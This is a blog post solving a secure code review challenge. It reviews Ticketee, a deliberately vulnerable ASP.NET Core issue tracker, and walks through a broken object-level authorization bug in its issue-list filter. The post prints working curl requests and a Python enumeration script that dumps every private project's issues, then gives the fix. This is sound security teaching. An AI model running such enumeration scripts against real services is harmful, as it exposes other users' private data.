DEV Community

Cover image for The Secure Code Review Challenge — Solution #10: Ticketee (Every ID Needs Its Own Check)
Mohamed AboElKheir
Mohamed AboElKheir

Posted on

The Secure Code Review Challenge — Solution #10: Ticketee (Every ID Needs Its Own Check)

Ticketee is a well-built ASP.NET Core app. It uses ASP.NET Core Identity with account lockout and rate limiting, antiforgery tokens on every form, EF Core queries that are always parameterized, Markdown rendering with raw HTML disabled and a sanitizer, a safe login redirect, and a project-membership check on every project route.

Even so, any registered user can read every issue in every private project on the instance. All it takes is the Open selected filter on their own project's issue list.

This post walks through the full review: how the app works, where user input comes in, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.

🎥 Prefer video? The full walkthrough is on YouTube:


What is the Secure Code Review Challenge?

It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution.

Every solution follows the same 7-step methodology:

  1. 🗺️ Understand the application: architecture and main user stories
  2. 🚪 Identify entry points: where user input comes in
  3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
  4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
  5. 🔍 Review mitigations: which threats are actually closed, and which aren't
  6. 🧪 Exploit: prove the unmitigated one is real
  7. 🛠️ Fix: a primary fix plus defense-in-depth

📌 Repo: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #10 source: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/010-ticketee

⚠️ Spoiler warning: if you want to try Ticketee yourself first, stop here and come back later.


1. 🗺️ Understanding the application

Ticketee is a small Jira-style issue tracker. Users register, create projects, invite teammates, and track issues on a board. Issues have human-friendly keys like APOL-001 and Markdown descriptions.

  • Stack: ASP.NET Core on .NET 10, written in C# (the first .NET app in the series)
  • Two front doors, one server: a JSON API under /api (API controllers) and a server-rendered HTML UI (Razor Pages)
  • Database: PostgreSQL, accessed through Entity Framework Core (EF Core, Microsoft's ORM)
  • Authentication: ASP.NET Core Identity: a session cookie for the UI and a bearer token for the API
  • Authorization: by project membership. The project lead (whoever created it) and accepted members can see a project. Only the lead can invite people.

The whole review comes down to one promise: a project's issues are visible only to that project's lead and members.

A good way to understand a codebase is to read it as a set of stories. Four stories cover this app: what happens when it starts, register and log in, create a project and invite a teammate, and work with issues.

🚀 Story 1: what happens when the app starts

What happens when the app starts

docker-compose.yml starts two containers: a stock postgres:16 and the app. The app's Dockerfile is the typical two-stage .NET build: dotnet publish compiles everything into Ticketee.dll, and the runtime image runs it as a non-root user:

FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build
RUN dotnet publish Ticketee.csproj -c Release -o /app --no-restore

FROM mcr.microsoft.com/dotnet/aspnet:10.0
ENV ASPNETCORE_HTTP_PORTS=3000 ASPNETCORE_ENVIRONMENT=Production DATA_PROTECTION_KEYS_PATH=/app/keys
USER app
ENTRYPOINT ["dotnet", "Ticketee.dll"]
Enter fullscreen mode Exit fullscreen mode

Dockerfile#L1-L29

The program starts at the top of Program.cs. If you're coming from Spring (Challenge #9), here's the big difference: ASP.NET Core doesn't scan for your own classes. Everything the app uses is registered explicitly, by name, in Program.cs. So you read it top to bottom: first the builder.Services.Add… calls (what exists), then the app.Use… calls (what runs on every request, in order).

The registrations show the app's architecture: a database context, three stores (database access), three services (business rules) and a Markdown renderer:

builder.Services.AddDbContext<TicketeeDbContext>(o => o.UseNpgsql(connectionString));

builder.Services.AddSingleton<MarkdownRenderer>();
builder.Services.AddScoped<ProjectStore>();
builder.Services.AddScoped<InvitationStore>();
builder.Services.AddScoped<IssueStore>();
builder.Services.AddScoped<AuthService>();
builder.Services.AddScoped<ProjectService>();
builder.Services.AddScoped<IssueService>();
Enter fullscreen mode Exit fullscreen mode

Program.cs#L14-L22

Nobody calls new IssueService(...). ASP.NET Core's dependency injection container builds each class when something asks for it. That's how the layers connect: controller or page → service → store → database.

Authentication is set up in Auth/Auth.cs. There's one "policy" scheme that forwards each request to the right handler: paths under /api use a bearer token, and everything else uses the Identity cookie:

.AddPolicyScheme(DefaultScheme, "Cookie for pages, bearer token for the API", o =>
    o.ForwardDefaultSelector = context => IsApiRequest(context.Request)
        ? IdentityConstants.BearerScheme
        : IdentityConstants.ApplicationScheme)
.AddBearerToken(IdentityConstants.BearerScheme, o =>
    o.BearerTokenExpiration = TimeSpan.FromHours(1))
.AddIdentityCookies();
Enter fullscreen mode Exit fullscreen mode

Auth.cs#L44-L50

Then come the API controllers, the Razor Pages (with every page under /Projects requiring a login), and the built-in CSRF protection, which Ticketee calls AddAntiforgery:

builder.Services.AddControllers();
builder.Services.AddRazorPages(o =>
{
    o.Conventions.AuthorizeFolder("/Projects");
    o.Conventions.AuthorizePage("/Invitations");
});
builder.Services.AddAntiforgery(o =>
{
    o.Cookie.Name = "ticketee_csrf";
    o.Cookie.SameSite = SameSiteMode.Strict;
});
Enter fullscreen mode Exit fullscreen mode

Program.cs#L42-L52

Finally, the middleware pipeline. Every request passes through these steps in the order they're written: a generic error handler, security headers (including a CSP), routing, the rate limiter, authentication, authorization, and then the controller or page:

app.UseExceptionHandler(...);            // crashes → generic 500, no stack traces
app.Use(... security headers ...);       // CSP, nosniff, X-Frame-Options, Referrer-Policy
app.UseStaticFiles();
app.UseRouting();
app.UseRateLimiter();                    // throttle login/register POSTs
app.UseAuthentication();                 // cookie or bearer token → HttpContext.User
app.UseApiSecurityStampValidation();     // reject API tokens after logout
app.UseAuthorization();                  // enforce [Authorize] / AuthorizeFolder
app.MapControllers();
app.MapRazorPages();
Enter fullscreen mode Exit fullscreen mode

Program.cs#L75-L109

What every request passes through

🔐 Story 2: register and log in

Register, log in and log out

The register page (POST /register) and its API twin (POST /api/auth/register) call the same AuthService.RegisterAsync, which trims and lower-cases the email, checks lengths, and hands the user to Identity's UserManager.CreateAsync. That method hashes the password (salted PBKDF2) and saves the user. The app never writes its own hashing code.

Login uses ValidateCredentialsAsync. An unknown email still pays for one hash check, so timing doesn't reveal which emails exist, and the password check counts failures toward lockout:

var user = await _users.FindByEmailAsync(email);
if (user is null)
{
    Hasher.VerifyHashedPassword(new User(), DummyHash, password);
    throw AppException.Unauthorized("Invalid credentials");
}

var result = await _signIn.CheckPasswordSignInAsync(user, password, lockoutOnFailure: true);
Enter fullscreen mode Exit fullscreen mode

Services.cs#L66-L86

On success, the UI gets a ticketee_session cookie (HttpOnly, SameSite=Lax) and the API gets a bearer token. Both are encrypted by ASP.NET's Data Protection.

👥 Story 3: create a project, invite a teammate, accept

Create a project, invite a teammate, accept

Any logged-in user can create a project. The project's key comes from the first four letters of its name, so "Apollo Mission" becomes APOL:

public static string DeriveKey(string name)
{
    var letters = new string(name.Where(char.IsAsciiLetter).ToArray()).ToUpperInvariant();
    return (letters.Length > 4 ? letters[..4] : letters).PadRight(4, 'X');
}
Enter fullscreen mode Exit fullscreen mode

Services.cs#L115-L132

The store saves the project with the creator as lead and as a member, in one write.

Only the lead can invite someone. The invitation code is 16 random bytes from a cryptographically secure generator:

if (project.LeadId != userId) throw AppException.Forbidden("Only the project lead can send invitations");

var code = Convert.ToHexString(RandomNumberGenerator.GetBytes(16)).ToLowerInvariant();
Enter fullscreen mode Exit fullscreen mode

Services.cs#L154-L166

The teammate pastes the code on the Join a project page. The code must exist, must not have been used before, and must have been issued to their email.

🎫 Story 4: work with issues

Create, view and list issues

Every project-scoped route, in the API and the UI, starts with the same gatekeeper. It loads the project by the key in the URL and checks that the caller is its lead or a member:

public async Task<Project> RequireAccessAsync(string key, int userId)
{
    var project = await _projects.FindByKeyAsync(key);
    if (project is null) throw AppException.NotFound("Project not found");

    if (!await _projects.HasAccessAsync(userId, project.Id)) throw AppException.Forbidden();

    return project;
}
Enter fullscreen mode Exit fullscreen mode

Services.cs#L139-L147

Issues get keys made of the project key plus a counter: APOL-001, APOL-002, and so on.

Opening one issue (GET /api/projects/{key}/issues/{issueKey}) runs RequireAccessAsync and then IssueService.GetAsync, which loads the issue and checks that it belongs to the project in the URL:

public async Task<Issue> GetAsync(Project project, string issueKey)
{
    var issue = await _issues.FindByKeyAsync(issueKey.ToUpperInvariant());
    if (issue is null || issue.ProjectId != project.Id)
        throw AppException.NotFound("Issue not found");
    return issue;
}
Enter fullscreen mode Exit fullscreen mode

Services.cs#L244-L250

Listing issues (GET /api/projects/{key}/issues, and the Issues tab in the UI) has an extra feature. You can tick a few issues and click Open selected, which reloads the page with ?issueKeys=APOL-001&issueKeys=APOL-004 and shows only those issues, with their full descriptions:

[HttpGet]
public async Task<IActionResult> List(string key, [FromQuery] string? status)
{
    var project = await _projects.RequireAccessAsync(key, UserId);
    var issueKeys = IssueService.ParseKeys(Request.Query["issueKeys"]);
    var issues = await _issues.ListAsync(project, status, issueKeys);
    return Ok(issues.Select(IssueDto.From));
}
Enter fullscreen mode Exit fullscreen mode

ApiControllers.cs#L183-L190

ListAsync has two branches: with issueKeys it loads the selected issues, and without it loads the whole project's list. Keep those two branches in mind.

🧠 The key observation from step 1

There are two kinds of IDs in every issue URL:

/projects/APOL/issues?issueKeys=APOL-001,APOL-004
          └ project key ┘        └── issue keys ──┘
            checked by             checked by ???
         RequireAccessAsync
Enter fullscreen mode Exit fullscreen mode

The project is a parent, and each issue is a child with its own ID. Authorizing the parent doesn't automatically authorize every child the request names. Every route that takes an issue key must also check that the issue belongs to the authorized project.


2. 🚪 Entry points

Each action has two doors, an API route and a UI route, and both call the same service:

  • POST /api/auth/register, POST /register: public, rate-limited, takes email, password, name
  • POST /api/auth/login, POST /login: public, rate-limited + lockout, takes email, password, ReturnUrl (UI)
  • POST /api/auth/logout, POST /logout: logged in, no other input
  • POST /api/projects, POST /projects: any user, takes project name and description
  • GET /api/projects/{key}, GET /api/projects/{key}/members: project member, takes key
  • POST /api/projects/{key}/invitations: project lead, takes key and invitee email
  • POST /api/projects/invitations/accept, POST /invitations: the invited user, takes the invitation code
  • GET /api/projects/{key}/issues, GET /projects/{key}/issues: project member, takes key, status, issueKeys (up to 100)
  • GET /api/projects/{key}/issues/{issueKey}: project member, takes key, issueKey
  • POST /api/projects/{key}/issues: project member, takes title, Markdown body, type, priority, assignee
  • PATCH /api/projects/{key}/issues/{issueKey}: project member, takes issueKey and the fields to change

3. 🎯 Dangerous sinks

  • S1: SQL built by EF Core from request values → SQL injection. Every store query uses values from the request (key, issueKey, status, issueKeys, email, invitation code).
  • S2: Markdown rendered to HTML and written to the page without encoding → stored XSS.
  • S3: Razor templates writing stored text (titles, names, emails) → XSS.
  • S4: redirect to a request-supplied URL (ReturnUrl after login) → open redirect.

Loading an object by a user-supplied key isn't a sink. It's an authorization question, so it belongs to the business-logic part of the threat model.


4 & 5. 🧩 Threat model & 🔍 mitigation review

🔓 Business logic

Authentication ✅. Apart from register and login, every route requires a user: [Authorize] on the API controllers and AuthorizeFolder("/Projects") on the pages. Without a valid token the API answers 401, and the UI redirects to /login. On top of that, the framework gives Ticketee lockout after 5 failures for 15 minutes, and a rate limiter allows 20 auth POSTs per IP per minute:

o.Lockout.MaxFailedAccessAttempts = 5;
o.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(15);
Enter fullscreen mode Exit fullscreen mode

Auth.cs#L29-L31 · rate limiter, Program.cs#L32-L40

CSRF ✅. Razor Pages validate an antiforgery token on every POST by default. The browser sends cookies automatically, so the defense needs something the browser doesn't send on its own: the __RequestVerificationToken field in the form body, which must match the ticketee_csrf cookie. In Burp, replaying "create project" with a wrong token gives 400 Bad Request. The API ignores cookies (bearer tokens only), so CSRF can't reach it.

Invitations (function-level authorization) ✅. Only the lead can invite (project.LeadId != userId → 403), and only the invited email can accept:

if (!string.Equals(invitation.Email, user.Email ?? "", StringComparison.OrdinalIgnoreCase))
    throw AppException.Forbidden("This invitation was not issued to you");
Enter fullscreen mode Exit fullscreen mode

Services.cs#L174-L189

Project access (object-level authorization) ✅. RequireAccessAsync runs on every project route, and HasAccessAsync checks lead or member in one query:

public Task<bool> HasAccessAsync(int userId, int projectId) =>
    _db.Projects.AnyAsync(p => p.Id == projectId &&
        (p.LeadId == userId || p.Members.Any(m => m.UserId == userId)));
Enter fullscreen mode Exit fullscreen mode

Stores.cs#L28-L30

Mass assignment ✅. Could you set projectId in a create or update body and move an issue into someone else's project? No. PATCH starts from an empty update and reads six named fields from the JSON, nothing else:

if (body.TryGetPropertyValue("title", out var title)) { update.HasTitle = true; update.Title = title?.GetValue<string>(); }
if (body.TryGetPropertyValue("body", out var text)) { update.HasBody = true; update.Body = text?.GetValue<string>(); }
if (body.TryGetPropertyValue("type", out var type)) { update.HasType = true; update.Type = type?.GetValue<string>(); }
if (body.TryGetPropertyValue("priority", out var priority)) { update.HasPriority = true; update.Priority = priority?.GetValue<string>(); }
if (body.TryGetPropertyValue("status", out var status)) { update.HasStatus = true; update.Status = status?.GetValue<string>(); }
if (body.TryGetPropertyValue("assigneeId", out var assignee)) { update.HasAssignee = true; update.AssigneeId = assignee?.GetValue<int>(); }
Enter fullscreen mode Exit fullscreen mode

ApiControllers.cs#L209-L231

Create binds to a narrow CreateIssueRequest record, which has no ProjectId property to fill.

💉 Source-to-sink

S1, SQL injection ✅. There's no SQL text anywhere in Stores.cs. Every query is LINQ (Where, OrderBy, Select, …), and EF Core turns it into a parameterized query. The only EF Core APIs that need care are the raw-SQL ones like FromSqlRaw (EF Core docs), and the code doesn't use any of them. In the Postgres log, the issue-key list arrives as a bound array:

WHERE i."Key" = ANY ($1)
DETAIL:  parameters: $1 = '{SECR-001,SECR-002}'
Enter fullscreen mode Exit fullscreen mode

S2, XSS through Markdown ✅. The renderer has two layers. Markdig's DisableHtml() treats raw HTML in the Markdown as plain text, and then HtmlSanitizer keeps only allow-listed tags and the http, https and mailto URL schemes:

private readonly MarkdownPipeline _pipeline = new MarkdownPipelineBuilder()
    .DisableHtml()
    ...
    .Build();

public MarkdownRenderer()
{
    _sanitizer = new HtmlSanitizer();
    _sanitizer.AllowedSchemes.Clear();
    _sanitizer.AllowedSchemes.Add("http");
    _sanitizer.AllowedSchemes.Add("https");
    _sanitizer.AllowedSchemes.Add("mailto");
    ...
}

public IHtmlContent Render(string? markdown)
{
    if (string.IsNullOrWhiteSpace(markdown)) return HtmlString.Empty;
    var html = Markdown.ToHtml(markdown, _pipeline);
    return new HtmlString(_sanitizer.Sanitize(html));
}
Enter fullscreen mode Exit fullscreen mode

MarkdownRenderer.cs#L9-L46

S3, XSS through Razor ✅. Razor HTML-encodes every @ expression by default, so < becomes &lt;. You only lose that protection with explicit escape hatches like Html.Raw, and the code doesn't use any. The CSP (script-src 'self') is a backup layer.

S4, open redirect ✅. After login, the app only follows ReturnUrl if it's a local path. Otherwise it goes to /projects:

return Url.IsLocalUrl(ReturnUrl) ? LocalRedirect(ReturnUrl) : Redirect("/projects");
Enter fullscreen mode Exit fullscreen mode

Login.cshtml.cs#L27

🔓 Back to business logic: access to the issues

We've checked access to the project. But issues are separate objects with their own IDs, so they need their own check.

Single issue (view, edit, move) ✅. As we saw in Story 4, GetAsync compares issue.ProjectId with the authorized project. If you're a member of project A and ask for project B's issue through A's URL, you get 404. If you ask through B's URL, you get 403. UpdateAsync takes the same path.

The issue list with issueKeys ❌. ListAsync receives the authorized project, but only the no-filter branch uses it:

public async Task<List<Issue>> ListAsync(Project project, string? status, IReadOnlyCollection<string> issueKeys)
{
    if (status is not null && !IssueStatuses.All.Contains(status))
        throw AppException.BadRequest("Invalid status");

    if (issueKeys.Count > 0)
    {
        return await _issues.FindByKeysAsync(issueKeys);      // ← project is ignored
    }

    return await _issues.ListByProjectAsync(project.Id, status);
}
Enter fullscreen mode Exit fullscreen mode

Services.cs#L231-L242

Look at the store. ListByProjectAsync filters on ProjectId. FindByKeysAsync, right above it, filters on the key only:

public Task<List<Issue>> FindByKeysAsync(IReadOnlyCollection<string> keys) =>
    WithPeople().AsNoTracking()
        .Where(i => keys.Contains(i.Key))
        .OrderBy(i => i.ProjectKey).ThenBy(i => i.Number)
        .ToListAsync();

public Task<List<Issue>> ListByProjectAsync(int projectId, string? status) =>
    WithPeople().AsNoTracking()
        .Where(i => i.ProjectId == projectId && (status == null || i.Status == status))
        .OrderBy(i => i.Number)
        .ToListAsync();
Enter fullscreen mode Exit fullscreen mode

Stores.cs#L133-L143

So the authorization check answers "may this user see project X?", where X is the key in the URL. The query answers a different question: "which issues have these keys?" Nothing connects the two. An attacker can pass the first check with their own project and use the second to pull anyone's issues.

💡 Reviewer's lesson: IDOR isn't about one ID. When a request carries more than one identifier (a parent in the path, children in the query string or body), check every one of them against what the caller is allowed to see. Ticketee did it right for the project key, and for the issue key on single-issue routes, and missed it in the one branch that loads several issues at once.


6. 🧪 Exploitation

Why the request looks the way it does

  • GET /projects/SECR/issues/SECR-001 (victim's project, victim's issue) → 403: RequireAccessAsync blocks the project ❌
  • GET /projects/COVE/issues/SECR-001 (own project, victim's issue) → 404: GetAsync compares ProjectId ❌
  • GET /projects/COVE/issues?issueKeys=SECR-001 (own project, victim's key in the filter) → the victim's issue ✅

The project key in the path has to be one the attacker can access, so it's their own project. The victim's IDs go in the one place nobody checks: the issueKeys filter.

The exploit request

PoC

Two victims each have a private project: Alice has "Secret Roadmap" (SECR) and Bob has "Payroll Migration" (PAYR). The attacker, Mallory, registers and creates a throwaway project, "Cover" (COVE):

B=http://localhost:3000; J='Content-Type: application/json'
reg(){ curl -s -X POST $B/api/auth/register -H "$J" -d "{\"email\":\"$1\",\"password\":\"$2\",\"name\":\"$3\"}" | jq -r .token; }

# Attacker: Mallory registers and creates any project (→ COVE)
MTOK=$(reg mallory@evil.test mallory-password Mallory)
curl -s -X POST $B/api/projects -H "$J" -H "Authorization: Bearer $MTOK" -d '{"name":"Cover"}'
Enter fullscreen mode Exit fullscreen mode

Control: the normal routes block Mallory.

$ curl -s -w " [%{http_code}]\n" $B/api/projects/SECR/issues/SECR-001 -H "Authorization: Bearer $MTOK"
{"error":"Forbidden"} [403]
$ curl -s -w " [%{http_code}]\n" $B/api/projects/COVE/issues/SECR-001 -H "Authorization: Bearer $MTOK"
{"error":"Issue not found"} [404]
Enter fullscreen mode Exit fullscreen mode

Payload: ask Mallory's own project's list for Alice's keys.

$ curl -s "$B/api/projects/COVE/issues?issueKeys=SECR-001,SECR-002" -H "Authorization: Bearer $MTOK" | jq
[
  {
    "key": "SECR-001",
    "projectKey": "SECR",
    "title": "Acquire Globex in Q2",
    "body": "## Plan\nOffer **$45M**. Board vote on 12 Jan.\n- [ ] Due diligence",
    "priority": "critical",
    ...
  },
  {
    "key": "SECR-002",
    "projectKey": "SECR",
    "title": "Layoffs in support team",
    "body": "Notify HR before the all-hands. Keep it quiet.",
    ...
  }
]
Enter fullscreen mode Exit fullscreen mode

It works in the browser too. Opening Alice's project directly gives the 403 page:

Mallory opening Alice's project directly gets 403 Forbidden

But opening /projects/COVE/issues?issueKeys=SECR-001,SECR-002,SECR-003,PAYR-001,PAYR-002 shows Alice's and Bob's issues, with their full Markdown descriptions, inside Mallory's own project page:

Mallory's own project list showing Alice's and Bob's private issues

Automating it: dump every project without knowing any names

The keys are easy to guess. A project key is four letters, and issue numbers count up from 001. Plus, one request takes up to 100 keys. So a short script can test XXXX-001 for every four-letter key (26⁴ = 456,976) in about 4,570 requests, then pull issues 001–100 from each project it finds:

def select(keys):                                   # one request: up to 100 keys through COVE's list
    qs = urllib.parse.urlencode({"issueKeys": ",".join(keys)})
    req = urllib.request.Request(f"{BASE}/api/projects/{OWN}/issues?{qs}",
                                 headers={"Authorization": f"Bearer {TOKEN}"})
    with urllib.request.urlopen(req) as resp:
        return json.load(resp)

# Stage 1: probe "<KEY>-001" for every 4-letter project key, 100 projects per request
candidates = ("".join(p) + "-001" for p in itertools.product(string.ascii_uppercase, repeat=4))
with ThreadPoolExecutor(max_workers=16) as pool:
    hits = [i for result in pool.map(select, batches(candidates)) for i in result]

# Stage 2: pull issues 001-100 of every project found, one request per project
for key in projects:
    for issue in select([f"{key}-{n:03d}" for n in range(1, 101)]): print(...)
Enter fullscreen mode Exit fullscreen mode

dump_issues.py

$ python3 dump_issues.py http://localhost:3000 "$MTOK" COVE
[stage 1] 456,976 project keys probed in 4,569 requests (7s) -> projects found: PAYR, SECR
[stage 2] PAYR-001  high     Export salary bands  |  | Level | Band | |---|---| | L5 | $180k | | L6 | $230k |
[stage 2] PAYR-002  critical Rotate provider API key  |  Current key is in the vault under payroll/prod.
[stage 2] SECR-001  critical Acquire Globex in Q2  |  ## Plan Offer **$45M**. Board vote on 12 Jan. - [ ] Due diligence
[stage 2] SECR-002  high     Layoffs in support team  |  Notify HR before the all-hands. Keep it quiet.
[stage 2] SECR-003  medium   Pricing change for 2027  |  Raise Pro plan to $39/month.
Enter fullscreen mode Exit fullscreen mode

Impact: any registered user can read the title, full description, type, priority, status, assignee and reporter of every issue in every private project on the instance. They don't need to know any project name, and the victims don't have to do anything. It's read-only, because writes go through GetAsync and stay scoped.

Classification: Insecure Direct Object Reference / Broken Object Level Authorization, CWE-639: Authorization Bypass Through User-Controlled Key, OWASP API1:2023. It isn't SQL injection: the query is parameterized and safe, it's just missing a condition.


7. 🛠️ The fix

Primary fix: scope the query to the authorized project, in the store. Make the project a required argument, so this caller (and any future one) can't forget the filter:

 // Stores/Stores.cs
-public Task<List<Issue>> FindByKeysAsync(IReadOnlyCollection<string> keys) =>
+public Task<List<Issue>> FindByKeysAsync(int projectId, IReadOnlyCollection<string> keys) =>
     WithPeople().AsNoTracking()
-        .Where(i => keys.Contains(i.Key))
+        .Where(i => i.ProjectId == projectId && keys.Contains(i.Key))
         .OrderBy(i => i.ProjectKey).ThenBy(i => i.Number)
         .ToListAsync();

 // Services/Services.cs — ListAsync
-    return await _issues.FindByKeysAsync(issueKeys);
+    return await _issues.FindByKeysAsync(project.Id, issueKeys);
Enter fullscreen mode Exit fullscreen mode

With the fix, the same request returns only Mallory's own issue, and the dump script finds nothing:

$ curl -s "$B/api/projects/COVE/issues?issueKeys=SECR-001,SECR-002,COVE-001" -H "Authorization: Bearer $MTOK" | jq -c "[.[].key]"
["COVE-001"]
Enter fullscreen mode Exit fullscreen mode

Defense-in-depth (do these too):

  1. Make unscoped lookups hard to write. Give the store only project-scoped methods (FindByKeyAsync(projectId, key), FindByKeysAsync(projectId, keys)), so every caller has to pass the project it authorized.
  2. Let the data layer enforce the tenant. An EF Core global query filter adds the WHERE condition to every query automatically, including ones written later. PostgreSQL row-level security does the same inside the database.
  3. Push authorization into the framework, the way Ticketee already does for authentication and CSRF. ASP.NET Core resource-based authorization lets you check "may this user see this issue?" on every object you return.
  4. Use unguessable identifiers alongside the friendly keys. This raises the cost of enumeration, but it's a mitigation, not a fix. The missing check is still the bug.
  5. Test for it. An integration test where a member of project A requests project B's keys through every list and bulk route (expecting [] or 403) fails the day a check goes missing.

🌍 Real-world examples

  • Would you like an IDOR with that? Leaking 64 million McDonald's job applications (Ian Carroll & Sam Curry, July 2025). The researchers got into a test restaurant on McDonald's McHire hiring platform with default 123456:123456 admin credentials. Then they saw their own applicant's chat load through an API that took a numeric lead_id. Lowering the number returned other applicants' names, emails, phone numbers, addresses and application history. Same lesson as Ticketee: the caller was authenticated as a tenant, the lookup took a predictable ID from the request, and nothing checked that the object belonged to that tenant.

📚 More resources


🎯 Takeaway

IDOR isn't a check you do once per request. It's a check you do for every ID the request carries. Ticketee checked the project key in the URL and forgot about the issue keys in the query string. Checking access to the container isn't the same as checking every object you return.

Watch for bulk, batch, "open selected" and export features in particular, because they bring their own list of IDs. The query that loads those IDs must be scoped to the parent the caller was authorized for. The safest place to enforce that is the data layer, where no caller can forget it.


🔔 What's next

Challenge #11: RepoSync is live now. It's a small self-hosted Git server, a minimal GitHub. Can you find the bug before the solution drops?

👉 https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/011-reposync

New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.

If you found the bug yourself, or took a different route to it, tell me in the comments 👇

Top comments (0)